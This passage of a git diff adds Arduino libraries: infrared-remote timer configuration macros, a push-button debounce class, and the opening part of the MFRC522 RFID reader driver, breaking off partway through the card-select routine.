TIMER4_OVF_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR4A = (1<> 8; \ + OCR4C = pwmval; \ + TC4H = (pwmval / 3) >> 8; \ + OCR4A = (pwmval / 3) & 255; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR4A = 0; \ + TCCR4B = _BV(CS40); \ + TCCR4C = 0; \ + TCCR4D = 0; \ + TCCR4E = 0; \ + TC4H = (SYSCLOCK * USECPERTICK / 1000000) >> 8; \ + OCR4C = (SYSCLOCK * USECPERTICK / 1000000) & 255; \ + TC4H = 0; \ + TCNT4 = 0; \ +}) +#if defined(CORE_OC4A_PIN) +#define TIMER_PWM_PIN CORE_OC4A_PIN /* Teensy */ +#elif defined(__AVR_ATmega32U4__) +#define TIMER_PWM_PIN 13 /* Leonardo */ +#else +#error "Please add OC4A pin number here\n" +#endif + + +// defines for timer4 (16 bits) +#elif defined(IR_USE_TIMER4) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR4A |= _BV(COM4A1)) +#define TIMER_DISABLE_PWM (TCCR4A &= ~(_BV(COM4A1))) +#define TIMER_ENABLE_INTR (TIMSK4 = _BV(OCIE4A)) +#define TIMER_DISABLE_INTR (TIMSK4 = 0) +#define TIMER_INTR_NAME TIMER4_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR4A = _BV(WGM41); \ + TCCR4B = _BV(WGM43) | _BV(CS40); \ + ICR4 = pwmval; \ + OCR4A = pwmval / 3; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR4A = 0; \ + TCCR4B = _BV(WGM42) | _BV(CS40); \ + OCR4A = SYSCLOCK * USECPERTICK / 1000000; \ + TCNT4 = 0; \ +}) +#if defined(CORE_OC4A_PIN) +#define TIMER_PWM_PIN CORE_OC4A_PIN +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 6 /* Arduino Mega */ +#else +#error "Please add OC4A pin number here\n" +#endif + + +// defines for timer5 (16 bits) +#elif defined(IR_USE_TIMER5) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR5A |= _BV(COM5A1)) +#define TIMER_DISABLE_PWM (TCCR5A &= ~(_BV(COM5A1))) +#define TIMER_ENABLE_INTR (TIMSK5 = _BV(OCIE5A)) +#define TIMER_DISABLE_INTR (TIMSK5 = 0) +#define TIMER_INTR_NAME TIMER5_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR5A = _BV(WGM51); \ + TCCR5B = _BV(WGM53) | _BV(CS50); \ + ICR5 = pwmval; \ + OCR5A = pwmval / 3; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR5A = 0; \ + TCCR5B = _BV(WGM52) | _BV(CS50); \ + OCR5A = SYSCLOCK * USECPERTICK / 1000000; \ + TCNT5 = 0; \ +}) +#if defined(CORE_OC5A_PIN) +#define TIMER_PWM_PIN CORE_OC5A_PIN +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 46 /* Arduino Mega */ +#else +#error "Please add OC5A pin number here\n" +#endif + + +// defines for special carrier modulator timer +#elif defined(IR_USE_TIMER_CMT) +#define TIMER_RESET ({ \ + uint8_t tmp = CMT_MSC; \ + CMT_CMD2 = 30; \ +}) +#define TIMER_ENABLE_PWM CORE_PIN5_CONFIG = PORT_PCR_MUX(2)|PORT_PCR_DSE|PORT_PCR_SRE +#define TIMER_DISABLE_PWM CORE_PIN5_CONFIG = PORT_PCR_MUX(1)|PORT_PCR_DSE|PORT_PCR_SRE +#define TIMER_ENABLE_INTR NVIC_ENABLE_IRQ(IRQ_CMT) +#define TIMER_DISABLE_INTR NVIC_DISABLE_IRQ(IRQ_CMT) +#define TIMER_INTR_NAME cmt_isr +#ifdef ISR +#undef ISR +#endif +#define ISR(f) void f(void) +#if F_BUS == 48000000 +#define CMT_PPS_VAL 5 +#else +#define CMT_PPS_VAL 2 +#endif +#define TIMER_CONFIG_KHZ(val) ({ \ + SIM_SCGC4 |= SIM_SCGC4_CMT; \ + SIM_SOPT2 |= SIM_SOPT2_PTD7PAD; \ + CMT_PPS = CMT_PPS_VAL; \ + CMT_CGH1 = 2667 / val; \ + CMT_CGL1 = 5333 / val; \ + CMT_CMD1 = 0; \ + CMT_CMD2 = 30; \ + CMT_CMD3 = 0; \ + CMT_CMD4 = 0; \ + CMT_OC = 0x60; \ + CMT_MSC = 0x01; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + SIM_SCGC4 |= SIM_SCGC4_CMT; \ + CMT_PPS = CMT_PPS_VAL; \ + CMT_CGH1 = 1; \ + CMT_CGL1 = 1; \ + CMT_CMD1 = 0; \ + CMT_CMD2 = 30; \ + CMT_CMD3 = 0; \ + CMT_CMD4 = 19; \ + CMT_OC = 0; \ + CMT_MSC = 0x03; \ +}) +#define TIMER_PWM_PIN 5 + + +#else // unknown timer +#error "Internal code configuration error, no known IR_USE_TIMER# defined\n" +#endif + + +// defines for blinking the LED +#if defined(CORE_LED0_PIN) +#define BLINKLED CORE_LED0_PIN +#define BLINKLED_ON() (digitalWrite(CORE_LED0_PIN, HIGH)) +#define BLINKLED_OFF() (digitalWrite(CORE_LED0_PIN, LOW)) +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define BLINKLED 13 +#define BLINKLED_ON() (PORTB |= B10000000) +#define BLINKLED_OFF() (PORTB &= B01111111) +#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) +#define BLINKLED 0 +#define BLINKLED_ON() (PORTD |= B00000001) +#define BLINKLED_OFF() (PORTD &= B11111110) +#else +#define BLINKLED 13 +#define BLINKLED_ON() (PORTB |= B00100000) +#define BLINKLED_OFF() (PORTB &= B11011111) +#endif + +#endif diff --git a/libraries/PLabLib1/PLab_PushButton.cpp b/libraries/PLabLib1/PLab_PushButton.cpp new file mode 100755 index 0000000..7da6522 --- /dev/null +++ b/libraries/PLabLib1/PLab_PushButton.cpp @@ -0,0 +1,62 @@ +#include "Arduino.h" +#include "PLab_PushButton.h" + +#define DEBOUNCE 20 // button debouncer, how many ms to debounce, 5+ ms is usually plenty + +PLab_PushButton::PLab_PushButton(int pin) +{ + _pin = pin; + _pressed = 0; + justpressed = 0; + justreleased = 0; + previousstate = 0; + currentstate = 0; + lasttime = millis(); + pinMode(_pin, INPUT); +} + +void PLab_PushButton::update() +{ + justreleased = 0; + justpressed = 0; + + if ((lasttime + DEBOUNCE) > millis()) { + // not enough time has passed to debounce + return; + } + // ok we have waited DEBOUNCE milliseconds, lets reset the timer + lasttime = millis(); + + currentstate = digitalRead(_pin); // read the button + + if (currentstate == previousstate) { + if ((_pressed == LOW) && (currentstate == LOW)) { + // just pressed + justpressed = 1; + } + else if ((_pressed == HIGH) && (currentstate == HIGH)) { + // just released + justreleased = 1; + } + _pressed = !currentstate; // remember, digital HIGH means NOT pressed + } + //Serial.println(pressed[index], DEC); + previousstate = currentstate; // keep a running tally of the buttons +} + + +boolean PLab_PushButton::isDown() +{ + return _pressed; +} + +boolean PLab_PushButton::pressed() +{ + return justpressed; +} + +boolean PLab_PushButton::released() +{ + return justreleased; +} + diff --git a/libraries/PLabLib1/PLab_PushButton.h b/libraries/PLabLib1/PLab_PushButton.h new file mode 100755 index 0000000..d722180 --- /dev/null +++ b/libraries/PLabLib1/PLab_PushButton.h @@ -0,0 +1,31 @@ +/* + PushButton.h - Library for Button with cebounce. + Created by Dag Svanæs, 2015. + Released into the public domain. +*/ + +#ifndef PLab_PushButton_h +#define PLab_PushButton_h + +#include "Arduino.h" + + +#define DEBOUNCE 20 // button debouncer, how many ms to debounce, 5+ ms is usually plenty + +class PLab_PushButton +{ + public: + PLab_PushButton(int pin); + void update(); + boolean isDown(); + boolean pressed(); + boolean released(); + private: + int _pin; + byte _pressed, justpressed, justreleased; + byte previousstate; + byte currentstate; + long lasttime; +}; + +#endif \ No newline at end of file diff --git a/libraries/PLabLib2/MFRC522.cpp b/libraries/PLabLib2/MFRC522.cpp new file mode 100755 index 0000000..09e0c31 --- /dev/null +++ b/libraries/PLabLib2/MFRC522.cpp @@ -0,0 +1,1659 @@ +/* +* MFRC522.cpp - Library to use ARDUINO RFID MODULE KIT 13.56 MHZ WITH TAGS SPI W AND R BY COOQROBOT. +* NOTE: Please also check the comments in MFRC522.h - they provide useful hints and background information. +* Released into the public domain. +*/ + +#include +#include + +///////////////////////////////////////////////////////////////////////////////////// +// Functions for setting up the Arduino +///////////////////////////////////////////////////////////////////////////////////// + +/** + * Constructor. + * Prepares the output pins. + */ +MFRC522::MFRC522( byte chipSelectPin, ///< Arduino pin connected to MFRC522's SPI slave select input (Pin 24, NSS, active low) + byte resetPowerDownPin ///< Arduino pin connected to MFRC522's reset and power down input (Pin 6, NRSTPD, active low) + ) { + // Set the chipSelectPin as digital output, do not select the slave yet + _chipSelectPin = chipSelectPin; + pinMode(_chipSelectPin, OUTPUT); + digitalWrite(_chipSelectPin, HIGH); + + // Set the resetPowerDownPin as digital output, do not reset or power down. + _resetPowerDownPin = resetPowerDownPin; + pinMode(_resetPowerDownPin, OUTPUT); + digitalWrite(_resetPowerDownPin, LOW); + + // Set SPI bus to work with MFRC522 chip. + setSPIConfig(); +} // End constructor + +/** + * Set SPI bus to work with MFRC522 chip. + * Please call this function if you have changed the SPI config since the MFRC522 constructor was run. + */ +void MFRC522::setSPIConfig() { + SPI.setBitOrder(MSBFIRST); + SPI.setDataMode(SPI_MODE0); +} // End setSPIConfig() + +///////////////////////////////////////////////////////////////////////////////////// +// Basic interface functions for communicating with the MFRC522 +///////////////////////////////////////////////////////////////////////////////////// + +/** + * Writes a byte to the specified register in the MFRC522 chip. + * The interface is described in the datasheet section 8.1.2. + */ +void MFRC522::PCD_WriteRegister( byte reg, ///< The register to write to. One of the PCD_Register enums. + byte value ///< The value to write. + ) { + digitalWrite(_chipSelectPin, LOW); // Select slave + SPI.transfer(reg & 0x7E); // MSB == 0 is for writing. LSB is not used in address. Datasheet section 8.1.2.3. + SPI.transfer(value); + digitalWrite(_chipSelectPin, HIGH); // Release slave again +} // End PCD_WriteRegister() + +/** + * Writes a number of bytes to the specified register in the MFRC522 chip. + * The interface is described in the datasheet section 8.1.2. + */ +void MFRC522::PCD_WriteRegister( byte reg, ///< The register to write to. One of the PCD_Register enums. + byte count, ///< The number of bytes to write to the register + byte *values ///< The values to write. Byte array. + ) { + digitalWrite(_chipSelectPin, LOW); // Select slave + SPI.transfer(reg & 0x7E); // MSB == 0 is for writing. LSB is not used in address. Datasheet section 8.1.2.3. + for (byte index = 0; index < count; index++) { + SPI.transfer(values[index]); + } + digitalWrite(_chipSelectPin, HIGH); // Release slave again +} // End PCD_WriteRegister() + +/** + * Reads a byte from the specified register in the MFRC522 chip. + * The interface is described in the datasheet section 8.1.2. + */ +byte MFRC522::PCD_ReadRegister( byte reg ///< The register to read from. One of the PCD_Register enums. + ) { + byte value; + digitalWrite(_chipSelectPin, LOW); // Select slave + SPI.transfer(0x80 | (reg & 0x7E)); // MSB == 1 is for reading. LSB is not used in address. Datasheet section 8.1.2.3. + value = SPI.transfer(0); // Read the value back. Send 0 to stop reading. + digitalWrite(_chipSelectPin, HIGH); // Release slave again + return value; +} // End PCD_ReadRegister() + +/** + * Reads a number of bytes from the specified register in the MFRC522 chip. + * The interface is described in the datasheet section 8.1.2. + */ +void MFRC522::PCD_ReadRegister( byte reg, ///< The register to read from. One of the PCD_Register enums. + byte count, ///< The number of bytes to read + byte *values, ///< Byte array to store the values in. + byte rxAlign ///< Only bit positions rxAlign..7 in values[0] are updated. + ) { + if (count == 0) { + return; + } + //Serial.print("Reading "); Serial.print(count); Serial.println(" bytes from register."); + byte address = 0x80 | (reg & 0x7E); // MSB == 1 is for reading. LSB is not used in address. Datasheet section 8.1.2.3. + byte index = 0; // Index in values array. + digitalWrite(_chipSelectPin, LOW); // Select slave + count--; // One read is performed outside of the loop + SPI.transfer(address); // Tell MFRC522 which address we want to read + while (index < count) { + if (index == 0 && rxAlign) { // Only update bit positions rxAlign..7 in values[0] + // Create bit mask for bit positions rxAlign..7 + byte mask = 0; + for (byte i = rxAlign; i <= 7; i++) { + mask |= (1 << i); + } + // Read value and tell that we want to read the same address again. + byte value = SPI.transfer(address); + // Apply mask to both current value of values[0] and the new data in value. + values[0] = (values[index] & ~mask) | (value & mask); + } + else { // Normal case + values[index] = SPI.transfer(address); // Read value and tell that we want to read the same address again. + } + index++; + } + values[index] = SPI.transfer(0); // Read the final byte. Send 0 to stop reading. + digitalWrite(_chipSelectPin, HIGH); // Release slave again +} // End PCD_ReadRegister() + +/** + * Sets the bits given in mask in register reg. + */ +void MFRC522::PCD_SetRegisterBitMask( byte reg, ///< The register to update. One of the PCD_Register enums. + byte mask ///< The bits to set. + ) { + byte tmp; + tmp = PCD_ReadRegister(reg); + PCD_WriteRegister(reg, tmp | mask); // set bit mask +} // End PCD_SetRegisterBitMask() + +/** + * Clears the bits given in mask from register reg. + */ +void MFRC522::PCD_ClearRegisterBitMask( byte reg, ///< The register to update. One of the PCD_Register enums. + byte mask ///< The bits to clear. + ) { + byte tmp; + tmp = PCD_ReadRegister(reg); + PCD_WriteRegister(reg, tmp & (~mask)); // clear bit mask +} // End PCD_ClearRegisterBitMask() + + +/** + * Use the CRC coprocessor in the MFRC522 to calculate a CRC_A. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::PCD_CalculateCRC( byte *data, ///< In: Pointer to the data to transfer to the FIFO for CRC calculation. + byte length, ///< In: The number of bytes to transfer. + byte *result ///< Out: Pointer to result buffer. Result is written to result[0..1], low byte first. + ) { + PCD_WriteRegister(CommandReg, PCD_Idle); // Stop any active command. + PCD_WriteRegister(DivIrqReg, 0x04); // Clear the CRCIRq interrupt request bit + PCD_SetRegisterBitMask(FIFOLevelReg, 0x80); // FlushBuffer = 1, FIFO initialization + PCD_WriteRegister(FIFODataReg, length, data); // Write data to the FIFO + PCD_WriteRegister(CommandReg, PCD_CalcCRC); // Start the calculation + + // Wait for the CRC calculation to complete. Each iteration of the while-loop takes 17.73�s. + word i = 5000; + byte n; + while (1) { + n = PCD_ReadRegister(DivIrqReg); // DivIrqReg[7..0] bits are: Set2 reserved reserved MfinActIRq reserved CRCIRq reserved reserved + if (n & 0x04) { // CRCIRq bit set - calculation done + break; + } + if (--i == 0) { // The emergency break. We will eventually terminate on this one after 89ms. Communication with the MFRC522 might be down. + return STATUS_TIMEOUT; + } + } + PCD_WriteRegister(CommandReg, PCD_Idle); // Stop calculating CRC for new content in the FIFO. + + // Transfer the result from the registers to the result buffer + result[0] = PCD_ReadRegister(CRCResultRegL); + result[1] = PCD_ReadRegister(CRCResultRegH); + return STATUS_OK; +} // End PCD_CalculateCRC() + + +///////////////////////////////////////////////////////////////////////////////////// +// Functions for manipulating the MFRC522 +///////////////////////////////////////////////////////////////////////////////////// + +/** + * Initializes the MFRC522 chip. + */ +void MFRC522::PCD_Init() { + if (digitalRead(_resetPowerDownPin) == LOW) { //The MFRC522 chip is in power down mode. + digitalWrite(_resetPowerDownPin, HIGH); // Exit power down mode. This triggers a hard reset. + // Section 8.8.2 in the datasheet says the oscillator start-up time is the start up time of the crystal + 37,74�s. Let us be generous: 50ms. + delay(50); + } + else { // Perform a soft reset + PCD_Reset(); + } + + // When communicating with a PICC we need a timeout if something goes wrong. + // f_timer = 13.56 MHz / (2*TPreScaler+1) where TPreScaler = [TPrescaler_Hi:TPrescaler_Lo]. + // TPrescaler_Hi are the four low bits in TModeReg. TPrescaler_Lo is TPrescalerReg. + PCD_WriteRegister(TModeReg, 0x80); // TAuto=1; timer starts automatically at the end of the transmission in all communication modes at all speeds + PCD_WriteRegister(TPrescalerReg, 0xA9); // TPreScaler = TModeReg[3..0]:TPrescalerReg, ie 0x0A9 = 169 => f_timer=40kHz, ie a timer period of 25�s. + PCD_WriteRegister(TReloadRegH, 0x03); // Reload timer with 0x3E8 = 1000, ie 25ms before timeout. + PCD_WriteRegister(TReloadRegL, 0xE8); + + PCD_WriteRegister(TxASKReg, 0x40); // Default 0x00. Force a 100 % ASK modulation independent of the ModGsPReg register setting + PCD_WriteRegister(ModeReg, 0x3D); // Default 0x3F. Set the preset value for the CRC coprocessor for the CalcCRC command to 0x6363 (ISO 14443-3 part 6.2.4) + PCD_AntennaOn(); // Enable the antenna driver pins TX1 and TX2 (they were disabled by the reset) +} // End PCD_Init() + +/** + * Performs a soft reset on the MFRC522 chip and waits for it to be ready again. + */ +void MFRC522::PCD_Reset() { + PCD_WriteRegister(CommandReg, PCD_SoftReset); // Issue the SoftReset command. + // The datasheet does not mention how long the SoftRest command takes to complete. + // But the MFRC522 might have been in soft power-down mode (triggered by bit 4 of CommandReg) + // Section 8.8.2 in the datasheet says the oscillator start-up time is the start up time of the crystal + 37,74�s. Let us be generous: 50ms. + delay(50); + // Wait for the PowerDown bit in CommandReg to be cleared + while (PCD_ReadRegister(CommandReg) & (1<<4)) { + // PCD still restarting - unlikely after waiting 50ms, but better safe than sorry. + } +} // End PCD_Reset() + +/** + * Turns the antenna on by enabling pins TX1 and TX2. + * After a reset these pins are disabled. + */ +void MFRC522::PCD_AntennaOn() { + byte value = PCD_ReadRegister(TxControlReg); + if ((value & 0x03) != 0x03) { + PCD_WriteRegister(TxControlReg, value | 0x03); + } +} // End PCD_AntennaOn() + +/** + * Turns the antenna off by disabling pins TX1 and TX2. + */ +void MFRC522::PCD_AntennaOff() { + PCD_ClearRegisterBitMask(RFCfgReg, 0x03); +} // End PCD_AntennaOff() + +/** + * Get the current MFRC522 Receiver Gain (RxGain[2:0]) value. + * See 9.3.3.6 / table 98 in http://www.nxp.com/documents/data_sheet/MFRC522.pdf + * NOTE: Return value scrubbed with (0x07<<4)=01110000b as RCFfgReg may use reserved bits. + * + * @return Value of the RxGain, scrubbed to the 3 bits used. + */ +byte MFRC522::PCD_GetAntennaGain() { + return PCD_ReadRegister(RFCfgReg) & (0x07<<4); +} // End PCD_GetAntennaGain() + +/** + * Set the MFRC522 Receiver Gain (RxGain) to value specified by given mask. + * See 9.3.3.6 / table 98 in http://www.nxp.com/documents/data_sheet/MFRC522.pdf + * NOTE: Given mask is scrubbed with (0x07<<4)=01110000b as RCFfgReg may use reserved bits. + */ +void MFRC522::PCD_SetAntennaGain(byte mask) { + if (PCD_GetAntennaGain() != mask) { // only bother if there is a change + PCD_ClearRegisterBitMask(RFCfgReg, (0x07<<4)); // clear needed to allow 000 pattern + PCD_SetRegisterBitMask(RFCfgReg, mask & (0x07<<4)); // only set RxGain[2:0] bits + } +} // End PCD_SetAntennaGain() + +///////////////////////////////////////////////////////////////////////////////////// +// Functions for communicating with PICCs +///////////////////////////////////////////////////////////////////////////////////// + +/** + * Executes the Transceive command. + * CRC validation can only be done if backData and backLen are specified. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::PCD_TransceiveData( byte *sendData, ///< Pointer to the data to transfer to the FIFO. + byte sendLen, ///< Number of bytes to transfer to the FIFO. + byte *backData, ///< NULL or pointer to buffer if data should be read back after executing the command. + byte *backLen, ///< In: Max number of bytes to write to *backData. Out: The number of bytes returned. + byte *validBits, ///< In/Out: The number of valid bits in the last byte. 0 for 8 valid bits. Default NULL. + byte rxAlign, ///< In: Defines the bit position in backData[0] for the first bit received. Default 0. + bool checkCRC ///< In: True => The last two bytes of the response is assumed to be a CRC_A that must be validated. + ) { + byte waitIRq = 0x30; // RxIRq and IdleIRq + return PCD_CommunicateWithPICC(PCD_Transceive, waitIRq, sendData, sendLen, backData, backLen, validBits, rxAlign, checkCRC); +} // End PCD_TransceiveData() + +/** + * Transfers data to the MFRC522 FIFO, executes a command, waits for completion and transfers data back from the FIFO. + * CRC validation can only be done if backData and backLen are specified. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::PCD_CommunicateWithPICC( byte command, ///< The command to execute. One of the PCD_Command enums. + byte waitIRq, ///< The bits in the ComIrqReg register that signals successful completion of the command. + byte *sendData, ///< Pointer to the data to transfer to the FIFO. + byte sendLen, ///< Number of bytes to transfer to the FIFO. + byte *backData, ///< NULL or pointer to buffer if data should be read back after executing the command. + byte *backLen, ///< In: Max number of bytes to write to *backData. Out: The number of bytes returned. + byte *validBits, ///< In/Out: The number of valid bits in the last byte. 0 for 8 valid bits. + byte rxAlign, ///< In: Defines the bit position in backData[0] for the first bit received. Default 0. + bool checkCRC ///< In: True => The last two bytes of the response is assumed to be a CRC_A that must be validated. + ) { + byte n, _validBits; + unsigned int i; + + // Prepare values for BitFramingReg + byte txLastBits = validBits ? *validBits : 0; + byte bitFraming = (rxAlign << 4) + txLastBits; // RxAlign = BitFramingReg[6..4]. TxLastBits = BitFramingReg[2..0] + + PCD_WriteRegister(CommandReg, PCD_Idle); // Stop any active command. + PCD_WriteRegister(ComIrqReg, 0x7F); // Clear all seven interrupt request bits + PCD_SetRegisterBitMask(FIFOLevelReg, 0x80); // FlushBuffer = 1, FIFO initialization + PCD_WriteRegister(FIFODataReg, sendLen, sendData); // Write sendData to the FIFO + PCD_WriteRegister(BitFramingReg, bitFraming); // Bit adjustments + PCD_WriteRegister(CommandReg, command); // Execute the command + if (command == PCD_Transceive) { + PCD_SetRegisterBitMask(BitFramingReg, 0x80); // StartSend=1, transmission of data starts + } + + // Wait for the command to complete. + // In PCD_Init() we set the TAuto flag in TModeReg. This means the timer automatically starts when the PCD stops transmitting. + // Each iteration of the do-while-loop takes 17.86�s. + i = 2000; + while (1) { + n = PCD_ReadRegister(ComIrqReg); // ComIrqReg[7..0] bits are: Set1 TxIRq RxIRq IdleIRq HiAlertIRq LoAlertIRq ErrIRq TimerIRq + if (n & waitIRq) { // One of the interrupts that signal success has been set. + break; + } + if (n & 0x01) { // Timer interrupt - nothing received in 25ms + return STATUS_TIMEOUT; + } + if (--i == 0) { // The emergency break. If all other condions fail we will eventually terminate on this one after 35.7ms. Communication with the MFRC522 might be down. + return STATUS_TIMEOUT; + } + } + + // Stop now if any errors except collisions were detected. + byte errorRegValue = PCD_ReadRegister(ErrorReg); // ErrorReg[7..0] bits are: WrErr TempErr reserved BufferOvfl CollErr CRCErr ParityErr ProtocolErr + if (errorRegValue & 0x13) { // BufferOvfl ParityErr ProtocolErr + return STATUS_ERROR; + } + + // If the caller wants data back, get it from the MFRC522. + if (backData && backLen) { + n = PCD_ReadRegister(FIFOLevelReg); // Number of bytes in the FIFO + if (n > *backLen) { + return STATUS_NO_ROOM; + } + *backLen = n; // Number of bytes returned + PCD_ReadRegister(FIFODataReg, n, backData, rxAlign); // Get received data from FIFO + _validBits = PCD_ReadRegister(ControlReg) & 0x07; // RxLastBits[2:0] indicates the number of valid bits in the last received byte. If this value is 000b, the whole byte is valid. + if (validBits) { + *validBits = _validBits; + } + } + + // Tell about collisions + if (errorRegValue & 0x08) { // CollErr + return STATUS_COLLISION; + } + + // Perform CRC_A validation if requested. + if (backData && backLen && checkCRC) { + // In this case a MIFARE Classic NAK is not OK. + if (*backLen == 1 && _validBits == 4) { + return STATUS_MIFARE_NACK; + } + // We need at least the CRC_A value and all 8 bits of the last byte must be received. + if (*backLen < 2 || _validBits != 0) { + return STATUS_CRC_WRONG; + } + // Verify CRC_A - do our own calculation and store the control in controlBuffer. + byte controlBuffer[2]; + n = PCD_CalculateCRC(&backData[0], *backLen - 2, &controlBuffer[0]); + if (n != STATUS_OK) { + return n; + } + if ((backData[*backLen - 2] != controlBuffer[0]) || (backData[*backLen - 1] != controlBuffer[1])) { + return STATUS_CRC_WRONG; + } + } + + return STATUS_OK; +} // End PCD_CommunicateWithPICC() + +/** + * Transmits a REQuest command, Type A. Invites PICCs in state IDLE to go to READY and prepare for anticollision or selection. 7 bit frame. + * Beware: When two PICCs are in the field at the same time I often get STATUS_TIMEOUT - probably due do bad antenna design. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::PICC_RequestA(byte *bufferATQA, ///< The buffer to store the ATQA (Answer to request) in + byte *bufferSize ///< Buffer size, at least two bytes. Also number of bytes returned if STATUS_OK. + ) { + return PICC_REQA_or_WUPA(PICC_CMD_REQA, bufferATQA, bufferSize); +} // End PICC_RequestA() + +/** + * Transmits a Wake-UP command, Type A. Invites PICCs in state IDLE and HALT to go to READY(*) and prepare for anticollision or selection. 7 bit frame. + * Beware: When two PICCs are in the field at the same time I often get STATUS_TIMEOUT - probably due do bad antenna design. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::PICC_WakeupA( byte *bufferATQA, ///< The buffer to store the ATQA (Answer to request) in + byte *bufferSize ///< Buffer size, at least two bytes. Also number of bytes returned if STATUS_OK. + ) { + return PICC_REQA_or_WUPA(PICC_CMD_WUPA, bufferATQA, bufferSize); +} // End PICC_WakeupA() + +/** + * Transmits REQA or WUPA commands. + * Beware: When two PICCs are in the field at the same time I often get STATUS_TIMEOUT - probably due do bad antenna design. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::PICC_REQA_or_WUPA( byte command, ///< The command to send - PICC_CMD_REQA or PICC_CMD_WUPA + byte *bufferATQA, ///< The buffer to store the ATQA (Answer to request) in + byte *bufferSize ///< Buffer size, at least two bytes. Also number of bytes returned if STATUS_OK. + ) { + byte validBits; + byte status; + + if (bufferATQA == NULL || *bufferSize < 2) { // The ATQA response is 2 bytes long. + return STATUS_NO_ROOM; + } + PCD_ClearRegisterBitMask(CollReg, 0x80); // ValuesAfterColl=1 => Bits received after collision are cleared. + validBits = 7; // For REQA and WUPA we need the short frame format - transmit only 7 bits of the last (and only) byte. TxLastBits = BitFramingReg[2..0] + status = PCD_TransceiveData(&command, 1, bufferATQA, bufferSize, &validBits); + if (status != STATUS_OK) { + return status; + } + if (*bufferSize != 2 || validBits != 0) { // ATQA must be exactly 16 bits. + return STATUS_ERROR; + } + return STATUS_OK; +} // End PICC_REQA_or_WUPA() + +/** + * Transmits SELECT/ANTICOLLISION commands to select a single PICC. + * Before calling this function the PICCs must be placed in the READY(*) state by calling PICC_RequestA() or PICC_WakeupA(). + * On success: + * - The chosen PICC is in state ACTIVE(*) and all other PICCs have returned to state IDLE/HALT. (Figure 7 of the ISO/IEC 14443-3 draft.) + * - The UID size and value of the chosen PICC is returned in *uid along with the SAK. + * + * A PICC UID consists of 4, 7 or 10 bytes. + * Only 4 bytes can be specified in a SELECT command, so for the longer UIDs two or three iterations are used: + * UID size Number of UID bytes Cascade levels Example of PICC + * ======== =================== ============== =============== + * single 4 1 MIFARE Classic + * double 7 2 MIFARE Ultralight + * triple 10 3 Not currently in use? + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::PICC_Select( Uid *uid, ///< Pointer to Uid struct. Normally output, but can also be used to supply a known UID. + byte validBits ///< The number of known UID bits supplied in *uid. Normally 0. If set you must also supply uid->size. + ) { + bool uidComplete; + bool selectDone; + bool useCascadeTag; + byte cascadeLevel = 1; + byte result; + byte count; + byte index; + byte uidIndex; // The first index in uid->uidByte[] that is used in the current Cascade Level. + char currentLevelKnownBits; // The number of known UID bits in the current Cascade Level. + byte buffer[9]; // The SELECT/ANTICOLLISION commands uses a 7 byte standard frame + 2 bytes CRC_A + byte bufferUsed; // The number of bytes used in the buffer, ie the number of bytes to transfer to the FIFO. + byte rxAlign; // Used in BitFramingReg. Defines the bit position for the first bit received. + byte txLastBits; // Used in BitFramingReg. The number of valid bits in the last transmitted byte. + byte *responseBuffer; + byte responseLength; + + // Description of buffer structure: + // Byte 0: SEL Indicates the Cascade Level: PICC_CMD_SEL_CL1, PICC_CMD_SEL_CL2 or PICC_CMD_SEL_CL3 + // Byte 1: NVB Number of Valid Bits (in complete command, not just the UID): High nibble: complete bytes, Low nibble: Extra bits. + // Byte 2: UID-data or CT See explanation below. CT means Cascade Tag. + // Byte 3: UID-data + // Byte 4: UID-data + // Byte 5: UID-data + // Byte 6: BCC Block Check Character - XOR of bytes 2-5 + // Byte 7: CRC_A + // Byte 8: CRC_A + // The BCC and CRC_A is only transmitted if we know all the UID bits of the current Cascade Level. + // + // Description of bytes 2-5: (Section 6.5.4 of the ISO/IEC 14443-3 draft: UID contents and cascade levels) + // UID size Cascade level Byte2 Byte3 Byte4 Byte5 + // ======== ============= ===== ===== ===== ===== + // 4 bytes 1 uid0 uid1 uid2 uid3 + // 7 bytes 1 CT uid0 uid1 uid2 + // 2 uid3 uid4 uid5 uid6 + // 10 bytes 1 CT uid0 uid1 uid2 + // 2 CT uid3 uid4 uid5 + // 3 uid6 uid7 uid8 uid9 + + // Sanity checks + if (validBits > 80) { + return STATUS_INVALID; + } + + // Prepare MFRC522 + PCD_ClearRegisterBitMask(CollReg, 0x80); // ValuesAfterColl=1 => Bits received after collision are cleared. + + // Repeat Cascade Level loop until we have a complete UID. + uidComplete = false; + while ( ! uidComplete) { + // Set the Cascade Level in the SEL byte, find out if we need to use the Cascade Tag in byte 2. + switch (cascadeLevel) { + case 1: + buffer[0] = PICC_CMD_SEL_CL1; + uidIndex = 0; + useCascadeTag = validBits && uid->size > 4; // When we know that the UID has more than 4 bytes + break; + + case 2: + buffer[0] = PICC_CMD_SEL_CL2; + uidIndex = 3; + useCascadeTag = validBits && uid->size > 7; // When we know that the UID has more than 7 bytes + break; + + case 3: + buffer[0] = PICC_CMD_SEL_CL3; + uidIndex = 6; + useCascadeTag = false; // Never used in CL3. + break; + + default: + return STATUS_INTERNAL_ERROR; + break; + } + + // How many UID bits are known in this Cascade Level? + 